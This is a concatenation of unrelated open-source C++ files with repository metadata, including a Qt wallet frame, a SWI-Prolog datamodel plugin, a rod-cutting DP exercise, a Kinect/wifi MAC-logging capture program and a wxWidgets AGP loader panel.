{ return std::make_pair(1, 0); } } counter = 0; if (ch == B1.Board1[0][1]) { //Col 1 counter++; } if (ch == B1.Board1[1][1]) { counter++; } if (ch == B1.Board1[2][1]) { counter++; } if (counter == 2) { if (ch == B1.Board1[0][1] && ch == B1.Board1[1][1] && ' ' == B1.Board1[2][1]) { return std::make_pair(2, 1); } else if (ch == B1.Board1[1][1] && ch == B1.Board1[2][1] && ' ' == B1.Board1[0][1]) { return std::make_pair(0, 1); } else if (ch == B1.Board1[2][1] && ch == B1.Board1[0][1] && ' ' == B1.Board1[1][1]) { return std::make_pair(1, 1); } } counter = 0; if (ch == B1.Board1[0][2]) { //Col 2 counter++; } if (ch == B1.Board1[1][2]) { counter++; } if (ch == B1.Board1[2][2]) { counter++; } if (counter == 2) { if (ch == B1.Board1[0][2] && ch == B1.Board1[1][2] && ' ' == B1.Board1[2][2]) { return std::make_pair(2, 2); } else if (ch == B1.Board1[1][2] && ch == B1.Board1[2][2] && ' ' == B1.Board1[0][2]) { return std::make_pair(0, 2); } else if (ch == B1.Board1[2][2] && ch == B1.Board1[0][2] && ' ' == B1.Board1[1][2]) { return std::make_pair(1, 2); } } return std::make_pair(-1, -1); } TicTacToeBoard::~TicTacToeBoard() { Log("\n\nLooks like the game is over."); Log("Quitting the game in 5 seconds... say goodbye to the board....\n"); std::cout << "===========================================================" << std::endl; std::cout << std::flush; std::cin.clear(); this->MovesMade = 0; std::this_thread::sleep_for(std::chrono::seconds(3)); }
[ "aryanrawlani007@gmail.com" ]
aryanrawlani007@gmail.com
4a6785fb7d5e1e58000a3ee5a246908afed840a8
828913caa1ff1ef94ed1f3686ffa5b81fa090f4d
/src/qt/walletframe.cpp
d2a952ae2eb4dcdceea51c5a922c1392dba724cf
[]
no_license
santos177/TradeLayer
7508c169f331aaa4ff7005ccc2574871428aad21
9ac9c2d47d92a9a7a0849234c3f7f8ebf7997e59
refs/heads/master
2023-02-04T00:43:26.012639
2020-12-17T22:58:42
2020-12-17T22:58:42
221,568,582
0
0
null
2020-12-17T22:58:43
2019-11-13T23:07:45
C++
UTF-8
C++
false
false
7,171
cpp
// Copyright (c) 2011-2019 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <qt/walletframe.h> #include <qt/walletmodel.h> #include <qt/bitcoingui.h> #include <qt/walletview.h> #include <cassert> #include <cstdio> #include <QHBoxLayout> #include <QLabel> WalletFrame::WalletFrame(const PlatformStyle *_platformStyle, BitcoinGUI *_gui) : QFrame(_gui), gui(_gui), platformStyle(_platformStyle) { // Leave HBox hook for adding a list view later QHBoxLayout *walletFrameLayout = new QHBoxLayout(this); setContentsMargins(0,0,0,0); walletStack = new QStackedWidget(this); walletFrameLayout->setContentsMargins(0,0,0,0); walletFrameLayout->addWidget(walletStack); QLabel *noWallet = new QLabel(tr("No wallet has been loaded.")); noWallet->setAlignment(Qt::AlignCenter); walletStack->addWidget(noWallet); } WalletFrame::~WalletFrame() { } void WalletFrame::setClientModel(ClientModel *_clientModel) { this->clientModel = _clientModel; } bool WalletFrame::addWallet(WalletModel *walletModel) { if (!gui || !clientModel || !walletModel) { return false; } if (mapWalletViews.count(walletModel) > 0) { return false; } WalletView *walletView = new WalletView(platformStyle, this); walletView->setBitcoinGUI(gui); walletView->setClientModel(clientModel); walletView->setWalletModel(walletModel); walletView->showOutOfSyncWarning(bOutOfSync); WalletView* current_wallet_view = currentWalletView(); if (current_wallet_view) { walletView->setCurrentIndex(current_wallet_view->currentIndex()); } else { walletView->gotoOverviewPage(); } walletStack->addWidget(walletView); mapWalletViews[walletModel] = walletView; // Ensure a walletView is able to show the main window connect(walletView, &WalletView::showNormalIfMinimized, [this]{ gui->showNormalIfMinimized(); }); connect(walletView, &WalletView::outOfSyncWarningClicked, this, &WalletFrame::outOfSyncWarningClicked); return true; } bool WalletFrame::setCurrentWallet(WalletModel* wallet_model) { if (mapWalletViews.count(wallet_model) == 0) return false; WalletView *walletView = mapWalletViews.value(wallet_model); walletStack->setCurrentWidget(walletView); assert(walletView); walletView->updateEncryptionStatus(); return true; } bool WalletFrame::removeWallet(WalletModel* wallet_model) { if (mapWalletViews.count(wallet_model) == 0) return false; WalletView *walletView = mapWalletViews.take(wallet_model); walletStack->removeWidget(walletView); delete walletView; return true; } void WalletFrame::removeAllWallets() { QMap<WalletModel*, WalletView*>::const_iterator i; for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) walletStack->removeWidget(i.value()); mapWalletViews.clear(); } bool WalletFrame::handlePaymentRequest(const SendCoinsRecipient &recipient) { WalletView *walletView = currentWalletView(); if (!walletView) return false; return walletView->handlePaymentRequest(recipient); } void WalletFrame::showOutOfSyncWarning(bool fShow) { bOutOfSync = fShow; QMap<WalletModel*, WalletView*>::const_iterator i; for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) i.value()->showOutOfSyncWarning(fShow); } void WalletFrame::gotoOverviewPage() { QMap<WalletModel*, WalletView*>::const_iterator i; for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) i.value()->gotoOverviewPage(); } void WalletFrame::gotoBalancesPage() { QMap<WalletModel*, WalletView*>::const_iterator i; for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) i.value()->gotoBalancesPage(); } void WalletFrame::gotoExchangePage() { QMap<WalletModel*, WalletView*>::const_iterator i; for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) i.value()->gotoExchangePage(); } void WalletFrame::gotoHistoryPage() { QMap<WalletModel*, WalletView*>::const_iterator i; for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) i.value()->gotoHistoryPage(); } void WalletFrame::gotoTLHistoryTab() { QMap<WalletModel*, WalletView*>::const_iterator i; for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) i.value()->gotoTLHistoryTab(); } void WalletFrame::gotoBitcoinHistoryTab() { QMap<WalletModel*, WalletView*>::const_iterator i; for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) i.value()->gotoBitcoinHistoryTab(); } void WalletFrame::gotoToolboxPage() { QMap<WalletModel*, WalletView*>::const_iterator i; for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) i.value()->gotoToolboxPage(); } void WalletFrame::gotoReceiveCoinsPage() { QMap<WalletModel*, WalletView*>::const_iterator i; for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) i.value()->gotoReceiveCoinsPage(); } void WalletFrame::gotoSendCoinsPage(QString addr) { QMap<WalletModel*, WalletView*>::const_iterator i; for (i = mapWalletViews.constBegin(); i != mapWalletViews.constEnd(); ++i) i.value()->gotoSendCoinsPage(addr); } void WalletFrame::gotoSignMessageTab(QString addr) { WalletView *walletView = currentWalletView(); if (walletView) walletView->gotoSignMessageTab(addr); } void WalletFrame::gotoVerifyMessageTab(QString addr) { WalletView *walletView = currentWalletView(); if (walletView) walletView->gotoVerifyMessageTab(addr); } void WalletFrame::encryptWallet(bool status) { WalletView *walletView = currentWalletView(); if (walletView) walletView->encryptWallet(status); } void WalletFrame::backupWallet() { WalletView *walletView = currentWalletView(); if (walletView) walletView->backupWallet(); } void WalletFrame::changePassphrase() { WalletView *walletView = currentWalletView(); if (walletView) walletView->changePassphrase(); } void WalletFrame::unlockWallet() { WalletView *walletView = currentWalletView(); if (walletView) walletView->unlockWallet(); } void WalletFrame::usedSendingAddresses() { WalletView *walletView = currentWalletView(); if (walletView) walletView->usedSendingAddresses(); } void WalletFrame::usedReceivingAddresses() { WalletView *walletView = currentWalletView(); if (walletView) walletView->usedReceivingAddresses(); } WalletView* WalletFrame::currentWalletView() const { return qobject_cast<WalletView*>(walletStack->currentWidget()); } WalletModel* WalletFrame::currentWalletModel() const { WalletView* wallet_view = currentWalletView(); return wallet_view ? wallet_view->getWalletModel() : nullptr; } void WalletFrame::outOfSyncWarningClicked() { Q_EMIT requestedSyncWarningInfo(); }
[ "santos177@gmail.com" ]
santos177@gmail.com
dcf31a59a85f5f5de4bdef80f6e852dda78d41f0
4d4822b29e666cea6b2d99d5b9d9c41916b455a9
/Example/Pods/Headers/Private/GeoFeatures/boost/preprocessor/repetition.hpp
6cbd0f411d54b7b64f8a81488788360532afbc29
[ "BSL-1.0", "Apache-2.0" ]
permissive
eswiss/geofeatures
7346210128358cca5001a04b0e380afc9d19663b
1ffd5fdc49d859b829bdb8a9147ba6543d8d46c4
refs/heads/master
2020-04-05T19:45:33.653377
2016-01-28T20:11:44
2016-01-28T20:11:44
50,859,811
0
0
null
2016-02-01T18:12:28
2016-02-01T18:12:28
null
UTF-8
C++
false
false
66
hpp
../../../../../../../GeoFeatures/boost/preprocessor/repetition.hpp
[ "hatter24@gmail.com" ]
hatter24@gmail.com
8cb4fcd36f5cdaa66e408e864888e6b578836e95
b0cc833a609541d6f01a6a5d3b4d03908da50d31
/List03/List.h
8014bd8e70325903bd138ff98ae7321bbba460f6
[]
no_license
Wakie01/Data-Structure
8c8fe9c19e428a685c41d1746e841de2d587f84d
5e8f8178b7ba625b3becd779e224bab4e4cc9f72
refs/heads/master
2021-09-28T18:50:04.682829
2018-11-19T14:57:50
2018-11-19T14:57:50
113,398,394
1
0
null
null
null
null
GB18030
C++
false
false
2,417
h
#ifndef LIST_H #define LIST_H #include"Coordinate.h" template<typename T> class List{ public: List(int size); ~List(); void ClearList(); bool ListEmpty(); int ListLength(); bool GetElem(int i,T *e); int LocateElem(T *e); bool PriorElem(T *currentElem,T *preElem); bool NextElem(T *currentElem,T *nextElem); bool ListInsert(int i,T *e); bool ListDelete(int i,T *e); void ListTraverse(); private: T *m_pList; //指向数组空间 int m_iSize; int m_iLength; }; /* List::List(int size) { m_iSize=size; m_pList=new int [size]; //将指针定义成数组指针 m_iLength=0; } List::~List() { delete []m_pList; //delete 数组指针操作 m_pList=NULL; } void List::ClearList() { m_iLength=0; } bool List::ListEmpty() { return m_iLength==0? true:false; //if(m_iLength==0) return true; // else return false; } int List::ListLength() { return m_iLength; } bool List::GetElem(int i,int *e) { if(i<0||i>m_iSize) return false; *e=m_pList[i]; return true; } int List::LocateElem(int *e) { for(int i=0;i<m_iLength;i++) { if(m_pList[i]==*e) return i; } return -1; //表示没有找到 } bool List::PriorElem(int *currentElem,int *preElem) { int temp=LocateElem(currentElem); if(temp==-1) return false; else if(temp==0) return false; else { *preElem=m_pList[temp-1]; return true; } } bool List::NextElem(int *currentElem,int *nextElem) { int temp=LocateElem(currentElem); if(temp==-1) return false; else if(temp==m_iLength-1) return false; else { *nextElem=m_pList[temp+1]; return true; } } void List::ListTraverse() { for(int i=0;i<m_iLength;i++) cout<<m_pList[i]<<" "; cout<<endl; } bool List::ListInsert(int i,int *e) { if(i<0||i>m_iLength) return false; for(int k=m_iLength-1;k>=i;k--) //从后往前 { m_pList[k+1]=m_pList[k]; //key } m_pList[i]=*e; m_iLength++; return true; } bool List::ListDelete(int i,int *e) //这里指在第i个位置中删除,即delete m_pList[i] { if(i<0||i>=m_iLength) return false; //=时List中已经没元素了 *e=m_pList[i]; for(int k=i+1;k<m_iLength;k++) //从前往后 { m_pList[k-1]=m_pList[k]; } m_iLength--; return true; } */ #endif // LIST_H_INCLUDED
[ "33743772+Wakie01@users.noreply.github.com" ]
33743772+Wakie01@users.noreply.github.com
fed78661ac5c17310eb240d6ec2eaf7416964abb
79abec37c8a92264b7d157533a21df53057757c7
/src/uscxml/plugins/datamodel/prolog/swi/SWIDataModel.cpp
fe881dcfaf3230bce0566b3cd26c63ceeaaf9eb9
[]
no_license
jbeard4/uscxml
594c820a21e0b2320849922d4d83670978514bfc
7c779099b3acd1fa969dde718299484ebe0d2775
refs/heads/master
2021-01-16T20:22:40.229648
2013-02-10T19:50:07
2013-02-10T19:50:07
null
0
0
null
null
null
null
UTF-8
C++
false
false
3,635
cpp
#include "uscxml/Common.h" #include "uscxml/config.h" #include "SWIDataModel.h" #include "uscxml/Message.h" #include <glog/logging.h> #ifdef BUILD_AS_PLUGINS #include <Pluma/Connector.hpp> #endif namespace uscxml { #ifdef BUILD_AS_PLUGINS PLUMA_CONNECTOR bool connect(pluma::Host& host) { host.add( new SWIDataModelProvider() ); return true; } #endif SWIDataModel::SWIDataModel() { } boost::shared_ptr<DataModelImpl> SWIDataModel::create(Interpreter* interpreter) { boost::shared_ptr<SWIDataModel> dm = boost::shared_ptr<SWIDataModel>(new SWIDataModel()); dm->_interpreter = interpreter; const char* swibin = getenv("SWI_BINARY"); if (swibin == NULL) swibin = SWI_BINARY; const char* quiet = "--quiet"; static char * av[] = { (char*)swibin, (char*)quiet, // "-s", // "/Users/sradomski/Documents/TK/Code/pl-devel/demo/likes.pl", NULL }; if(!PL_initialise(2,av)) { LOG(ERROR) << "Error intializing prolog engine"; PL_halt(1); return boost::shared_ptr<DataModelImpl>(); } return dm; } void SWIDataModel::registerIOProcessor(const std::string& name, const IOProcessor& ioprocessor) { std::cout << "SWIDataModel::registerIOProcessor" << std::endl; } void SWIDataModel::setSessionId(const std::string& sessionId) { std::cout << "SWIDataModel::setSessionId" << std::endl; _sessionId = sessionId; } void SWIDataModel::setName(const std::string& name) { std::cout << "SWIDataModel::setName" << std::endl; _name = name; } SWIDataModel::~SWIDataModel() { } void SWIDataModel::pushContext() { std::cout << "SWIDataModel::pushContext" << std::endl; } void SWIDataModel::popContext() { std::cout << "SWIDataModel::popContext" << std::endl; } void SWIDataModel::initialize() { std::cout << "SWIDataModel::initialize" << std::endl; } void SWIDataModel::setEvent(const Event& event) { std::cout << "SWIDataModel::setEvent" << std::endl; _event = event; } Data SWIDataModel::getStringAsData(const std::string& content) { std::cout << "SWIDataModel::getStringAsData" << std::endl; Data data; return data; } bool SWIDataModel::validate(const std::string& location, const std::string& schema) { std::cout << "SWIDataModel::validate" << std::endl; return true; } uint32_t SWIDataModel::getLength(const std::string& expr) { std::cout << "SWIDataModel::getLength" << std::endl; return 0; } void SWIDataModel::eval(const std::string& expr) { URL localPLFile = URL::toLocalFile(expr, ".pl"); PlCall("user", "load_files", PlTermv(localPLFile.asLocalFile(".pl").c_str())) || LOG(ERROR) << "Could not execute prolog from file"; } bool SWIDataModel::evalAsBool(const std::string& expr) { PlCompound compound(expr.c_str()); PlTermv termv(compound.arity()); for (int i = 0; i < compound.arity(); i++) { termv[i] = compound[i + 1]; } PlQuery query(compound.name(), termv); return query.next_solution() > 0; } std::string SWIDataModel::evalAsString(const std::string& expr) { PlCompound compound(expr.c_str()); if (strlen(compound.name())) { PlTermv termv(compound.arity()); for (int i = 0; i < compound.arity(); i++) { termv[i] = compound[i + 1]; } PlQuery query(compound.name(), termv); std::stringstream ss; while (query.next_solution()) { for (int i = 0; i < compound.arity(); i++) { const char* separator = ""; ss << separator << (char *)termv[i]; separator = ", "; } ss << std::endl; } return ss.str(); } return std::string(compound); } void SWIDataModel::assign(const std::string& location, const Data& data) { eval(data.atom); } void SWIDataModel::assign(const std::string& location, const std::string& expr) { eval(expr); } }
[ "radomski@tk.informatik.tu-darmstadt.de" ]
radomski@tk.informatik.tu-darmstadt.de
1b95cfb825ee27038bcf3a558dc425387352f03a
efa8a2d3fbaa3b6f18a1d69e6c9ac201101d4a95
/Algorithms/chapter15/iron_v3.cpp
946773cf11b5535e5265e87723f7e5304f11ae99
[]
no_license
linkpark/study
3e4b438e4ef596d1ac8b1f189e33dea97b81dc04
12aad5c13cdb46a51fa07da250cd9a34c97e4086
refs/heads/master
2021-06-13T14:56:47.968546
2017-04-24T08:59:40
2017-04-24T08:59:40
22,249,446
0
4
null
null
null
null
UTF-8
C++
false
false
959
cpp
#include <iostream> #include <cstdio> using namespace std; int price[1000] = {0,1,5,8,9,10,17,17,20,24,30}; int cutRod(int length,int *r,int *s){ r[0] = 0; s[0] = 0; int q,i,j; if( 0 == length){ return 0; } for(i = 1 ; i <= length ; i++){ q = -1; for(j = 1 ; j <= i ; j ++){ if( q < price[j] + r[i - j]){ q = price[j] + r[i - j]; s[i] = j; } } r[i] = q; } return r[length]; } int main(){ int ironLength; int *r,*s; cin >> ironLength; r = new int[ironLength + 2]; s = new int[ironLength + 2]; cout << "the best profit is " << cutRod( ironLength, r ,s) << endl; cout << "the best plan is:"; while(ironLength > 0){ cout << s[ironLength] << " "; ironLength = ironLength - s[ironLength]; } cout << endl; delete[] r; delete[] s; return 0; }
[ "wj@newStudy-65.newStudy-65" ]
wj@newStudy-65.newStudy-65
20318d5767a4505866e43746f0fc95d5940c4cf4
65754e5f893e71df31d02ce41c9e177ae70faced
/wifProjectForDesk2改进剪辑版/wifProject/wifProject/wifiProject.cpp
1234877ec061c031bbf8cba8f4e0b0ba406e8c88
[]
no_license
square123/wifiProject
3cd33ab569e72a099e1413f350eae6967ed8f912
f71c7475264a8ef2115495c34b2e0f4416b7f3de
refs/heads/master
2021-01-12T04:56:26.475047
2017-11-23T03:55:13
2017-11-23T03:55:13
77,812,653
0
1
null
null
null
null
GB18030
C++
false
false
4,714
cpp
#include"myKinect.h" #include"wifi.h" #include <ctime> //用于时间函数 #include<sstream> //用以类型转换 #include <fstream> #define peopleDisThd 2500 //画面检测人的深度阈值 先用ruler做测试 #define peopleTimThd 10 //筛选时间阈值 #define screenFilePath "E://projectTest//" /*///////////////////////////////////////////////////////////////////////// 程序使用步骤: 1.先将电脑的IP设置好 sokit调试 2.利用ruler统计区域 3.将阈值和矩形区域设置好 /////////////////////////////////////////////////////////////////////////*/ string screeenShot(Mat &src, time_t t)//用时间来命名文件名 { string savePathTemp=screenFilePath; stringstream sstr2; sstr2<<t; string str2; sstr2>>str2; savePathTemp=savePathTemp+"quan//"+str2+ ".png"; imwrite(savePathTemp,src); savePathTemp=string(screenFilePath)+"ding//"+str2+ ".png"; imwrite(savePathTemp,src); return savePathTemp; } int main() { time_t t1, t2, tTemp; Kinect kinect; Wifi wifi; //kinect 初始化 kinect.InitKinect(); kinect.InitColor(); kinect.InitBodyIndex(); kinect.InitDepth(); //wifi初始化 wifi.InitWifi(); bool screenFlag=true;//拍照标志位 bool wifiFlag=false;//wifi处理标志位 //时间初始化 time(&t1); tTemp=t1; //照相参数设置 vector<int> compression_params; compression_params.push_back(CV_IMWRITE_PNG_COMPRESSION); compression_params.push_back(0); //用于存储 string connectImageStr; string str2; ofstream outfile,outfileDing,outfileRaw,outfileDingRaw; while(1){ kinect.colorProcess(); //判断函数的机制 if((kinect.detPeopleDepth3())<peopleDisThd)//人物进入检测区的操作 进入检测区域应该是值会突然的减小 存在一个剧烈的变化,此时开始计时,并进行处理 { wifiFlag=true; if (screenFlag==true) { screenFlag=false; time(&t1); stringstream sstr2; sstr2<<t1; sstr2>>str2; //截图操作 只进行一次 connectImageStr=screeenShot(kinect.colorHalfSizeMat,t1);//保存图片同时将路径返回 outfile.open(string(screenFilePath)+"quan//"+str2+".txt",ios::app); //重新建立一个流 outfileRaw.open(string(screenFilePath)+"quan//"+str2+"_raw"+".txt",ios::app); //重新建立一个流 outfileDing.open(string(screenFilePath)+"ding//"+str2+".txt",ios::app); //重新建立一个流 outfileDingRaw.open(string(screenFilePath)+"ding//"+str2+"_raw"+".txt",ios::app); //重新建立一个流 } //wifi要开始记录操作 wifi.wifiProcess(); } else//人物离开检测区的操作 { screenFlag=true;//重新将标志设为true time(&t2);//获取现在的时间 if((t1!=tTemp)&&((t2-t1)<peopleTimThd))//处理当人进入区域时间较短的操作 { tTemp=t1; remove(connectImageStr.c_str());//c_str char转换成str remove(string(string(screenFilePath)+"quan//"+str2+".png").c_str()); wifi.reSelMacRssi();//将数据清零 outfile.close();//关闭文件 outfileRaw.close();//关闭文件 outfileDing.close();//关闭文件 outfileDingRaw.close();//关闭文件 remove(string(string(screenFilePath)+"quan//"+str2+".txt").c_str());//删除文件 remove(string(string(screenFilePath)+"quan//"+str2+"_raw"+".txt").c_str());//删除文件 remove(string(string(screenFilePath)+"ding//"+str2+".txt").c_str());//删除文件 remove(string(string(screenFilePath)+"ding//"+str2+"_raw"+".txt").c_str());//删除文件 } else//当时间足够长时,即成功检测的操作 { if(wifiFlag==true)//只处理一次 { vector<Wifi::mapUsed> outdata,outdataDing; wifi.wifiProcessed2(wifi.selMap,outdata,outfileRaw);//对数据进行处理并排序,同时把原始数据保存下 wifi.wifiProcessed2(wifi.selMapDing,outdataDing,outfileDingRaw);//对数据进行处理并排序,同时把原始数据保存下 for (int it=0;it<outdata.size();it++) //将排序好的信息输出 { if (outdata[it].avgRssi!=0)//剔除0的情况 { outfile<<outdata[it].macName<<" "<<outdata[it].avgRssi<<" "<<outdata[it].num<<endl; } } for (int it=0;it<outdataDing.size();it++) //将排序好的信息输出 { if (outdataDing[it].avgRssi!=0)//剔除0的情况 { outfileDing<<outdataDing[it].macName<<" "<<outdataDing[it].avgRssi<<" "<<outdataDing[it].num<<endl; } } wifi.reSelMacRssi();//将数据清零 outfile.close();//关闭文件 outfileRaw.close();//关闭文件 outfileDing.close();//关闭文件 outfileDingRaw.close();//关闭文件 } wifiFlag=false; } } if(waitKey(3)==27) { break; } } exit(0); }
[ "1006039518@qq.com" ]
1006039518@qq.com
9c26c8e3ca5052d63b15056b5a4ef32ec36af304
2d361696ad060b82065ee116685aa4bb93d0b701
/src/gui/widgets/loaders/agp_load_page.cpp
0d4c7020f581e2cd7b7b0443761832063d80e724
[ "LicenseRef-scancode-public-domain" ]
permissive
AaronNGray/GenomeWorkbench
5151714257ce73bdfb57aec47ea3c02f941602e0
7156b83ec589e0de8f7b0a85699d2a657f3e1c47
refs/heads/master
2022-11-16T12:45:40.377330
2020-07-10T00:54:19
2020-07-10T00:54:19
278,501,064
1
1
null
null
null
null
UTF-8
C++
false
false
7,129
cpp
/* $Id: agp_load_page.cpp 38672 2017-06-07 21:13:40Z katargir $ * =========================================================================== * * PUBLIC DOMAIN NOTICE * National Center for Biotechnology Information * * This software/database is a "United States Government Work" under the * terms of the United States Copyright Act. It was written as part of * the author's official duties as a United States Government employee and * thus cannot be copyrighted. This software/database is freely available * to the public for use. The National Library of Medicine and the U.S. * Government have not placed any restriction on its use or reproduction. * * Although all reasonable efforts have been taken to ensure the accuracy * and reliability of the software and data, the NLM and the U.S. * Government do not and cannot warrant the performance or results that * may be obtained by using this software or data. The NLM and the U.S. * Government disclaim all warranties, express or implied, including * warranties of performance, merchantability or fitness for any particular * purpose. * * Please cite the author in any work or product based on this material. * * =========================================================================== * * Authors: Roman Katargin */ #include <ncbi_pch.hpp> #include <wx/sizer.h> #include <wx/checkbox.h> #include <wx/button.h> #include <wx/textctrl.h> #include <wx/radiobox.h> #include <wx/valtext.h> #include <wx/valgen.h> #include <wx/stattext.h> #include <wx/bmpbuttn.h> #include <wx/bitmap.h> #include <wx/icon.h> #include <wx/filedlg.h> #include <wx/artprov.h> ////@begin includes ////@end includes #include <gui/widgets/loaders/agp_load_page.hpp> BEGIN_NCBI_SCOPE /*! * CAgpLoadPage type definition */ IMPLEMENT_DYNAMIC_CLASS( CAgpLoadPage, wxPanel ) /*! * CAgpLoadPage event table definition */ BEGIN_EVENT_TABLE( CAgpLoadPage, wxPanel ) ////@begin CAgpLoadPage event table entries EVT_BUTTON( ID_BITMAPBUTTON1, CAgpLoadPage::OnFASTASeqsBrowse ) ////@end CAgpLoadPage event table entries END_EVENT_TABLE() /*! * CAgpLoadPage constructors */ CAgpLoadPage::CAgpLoadPage() { Init(); } CAgpLoadPage::CAgpLoadPage( wxWindow* parent, wxWindowID id, const wxPoint& pos, const wxSize& size, long style ) { Init(); Create(parent, id, pos, size, style); } /*! * CAgpLoadPage creator */ bool CAgpLoadPage::Create( wxWindow* parent, wxWindowID id, const wxPoint& pos, const wxSize& size, long style ) { ////@begin CAgpLoadPage creation wxPanel::Create( parent, id, pos, size, style ); CreateControls(); if (GetSizer()) { GetSizer()->SetSizeHints(this); } Centre(); ////@end CAgpLoadPage creation return true; } /*! * CAgpLoadPage destructor */ CAgpLoadPage::~CAgpLoadPage() { ////@begin CAgpLoadPage destruction ////@end CAgpLoadPage destruction } /*! * Member initialisation */ void CAgpLoadPage::Init() { ////@begin CAgpLoadPage member initialisation ////@end CAgpLoadPage member initialisation } /*! * Control creation for CAgpLoadPage */ void CAgpLoadPage::CreateControls() { ////@begin CAgpLoadPage content construction CAgpLoadPage* itemPanel1 = this; wxBoxSizer* itemBoxSizer2 = new wxBoxSizer(wxVERTICAL); itemPanel1->SetSizer(itemBoxSizer2); wxStaticText* itemStaticText3 = new wxStaticText( itemPanel1, wxID_STATIC, _("AGP Load Parameters"), wxDefaultPosition, wxDefaultSize, 0 ); itemStaticText3->SetFont(wxFont(wxNORMAL_FONT->GetPointSize(), wxNORMAL_FONT->GetFamily(), wxNORMAL_FONT->GetStyle(), wxFONTWEIGHT_BOLD, wxNORMAL_FONT->GetUnderlined(), wxNORMAL_FONT->GetFaceName())); itemBoxSizer2->Add(itemStaticText3, 0, wxALIGN_CENTER_HORIZONTAL|wxALL, 5); wxBoxSizer* itemBoxSizer4 = new wxBoxSizer(wxHORIZONTAL); itemBoxSizer2->Add(itemBoxSizer4, 0, wxALIGN_LEFT|wxALL, 5); wxArrayString itemRadioBox5Strings; itemRadioBox5Strings.Add(_("Try to parse ID")); itemRadioBox5Strings.Add(_("Always make a local ID")); wxRadioBox* itemRadioBox5 = new wxRadioBox( itemPanel1, ID_RADIOBOX2, _("Component IDs"), wxDefaultPosition, wxDefaultSize, itemRadioBox5Strings, 1, wxRA_SPECIFY_COLS ); itemRadioBox5->SetSelection(0); itemBoxSizer4->Add(itemRadioBox5, 0, wxALIGN_CENTER_VERTICAL|wxALL, 5); wxCheckBox* itemCheckBox6 = new wxCheckBox( itemPanel1, ID_CHECKBOX16, _("Set gap info"), wxDefaultPosition, wxDefaultSize, 0 ); itemCheckBox6->SetValue(false); itemBoxSizer4->Add(itemCheckBox6, 0, wxALIGN_CENTER_VERTICAL|wxALL, 5); wxBoxSizer* itemBoxSizer7 = new wxBoxSizer(wxHORIZONTAL); itemBoxSizer2->Add(itemBoxSizer7, 0, wxGROW|wxALL, 5); wxStaticText* itemStaticText8 = new wxStaticText( itemPanel1, wxID_STATIC, _("FASTA sequences"), wxDefaultPosition, wxDefaultSize, 0 ); itemBoxSizer7->Add(itemStaticText8, 0, wxALIGN_CENTER_VERTICAL|wxALL, 5); wxTextCtrl* itemTextCtrl9 = new wxTextCtrl( itemPanel1, ID_TEXTCTRL6, wxEmptyString, wxDefaultPosition, wxDefaultSize, 0 ); itemBoxSizer7->Add(itemTextCtrl9, 1, wxALIGN_CENTER_VERTICAL|wxALL, 5); wxBitmapButton* itemBitmapButton10 = new wxBitmapButton( itemPanel1, ID_BITMAPBUTTON1, itemPanel1->GetBitmapResource(wxT("menu::open")), wxDefaultPosition, wxDefaultSize, wxBU_AUTODRAW ); itemBitmapButton10->SetHelpText(_("Select FASTA file")); if (CAgpLoadPage::ShowToolTips()) itemBitmapButton10->SetToolTip(_("Select FASTA file")); itemBoxSizer7->Add(itemBitmapButton10, 0, wxALIGN_CENTER_VERTICAL|wxALL, 5); // Set validators itemRadioBox5->SetValidator( wxGenericValidator(& GetData().m_ParseIDs) ); itemCheckBox6->SetValidator( wxGenericValidator(& GetData().m_SetGapInfo) ); itemTextCtrl9->SetValidator( wxTextValidator(wxFILTER_NONE, & GetData().m_FastaFile) ); ////@end CAgpLoadPage content construction } /*! * Should we show tooltips? */ bool CAgpLoadPage::ShowToolTips() { return true; } /*! * Get bitmap resources */ wxBitmap CAgpLoadPage::GetBitmapResource( const wxString& name ) { return wxArtProvider::GetBitmap(name); } /*! * Get icon resources */ wxIcon CAgpLoadPage::GetIconResource( const wxString& name ) { // Icon retrieval ////@begin CAgpLoadPage icon retrieval wxUnusedVar(name); return wxNullIcon; ////@end CAgpLoadPage icon retrieval } /*! * Transfer data to the window */ bool CAgpLoadPage::TransferDataToWindow() { return wxPanel::TransferDataToWindow(); } /*! * Transfer data from the window */ bool CAgpLoadPage::TransferDataFromWindow() { return wxPanel::TransferDataFromWindow(); } void CAgpLoadPage::OnFASTASeqsBrowse( wxCommandEvent& WXUNUSED(event) ) { wxTextCtrl* textCtrl = (wxTextCtrl*)FindWindow(ID_TEXTCTRL6); wxString path = textCtrl->GetValue(); wxFileDialog dlg(this, wxT("Select a FASTA file"), wxT(""), wxT(""), wxALL_FILES_PATTERN, wxFD_OPEN); dlg.SetPath(path); if (dlg.ShowModal() != wxID_OK) return; path = dlg.GetPath(); textCtrl->SetValue(path); } END_NCBI_SCOPE
[ "aaronngray@gmail.com" ]
aaronngray@gmail.com
296c50b9f141dd8d7f206d72c68cce2c457c6f65
c37fc0308322c49773cfae61d6283949aeff6ef1
/HackerEarth/Algorithms/monk-encounter-with-poly.cpp
3c9eab23f60fac18a5395a43d790d013a978640c
[]
no_license
sagarmittal1/CP-Practice
59a899b0e62c62f959989ca0182a0278c5483c51
0aaf97dac4da684429373cdc004d32e12d87e1db
refs/heads/main
2023-08-15T00:45:29.581219
2021-10-04T19:38:10
2021-10-04T19:38:10
305,486,471
7
4
null
2021-10-04T19:38:10
2020-10-19T19:03:28
C++
UTF-8
C++
false
false
726
cpp
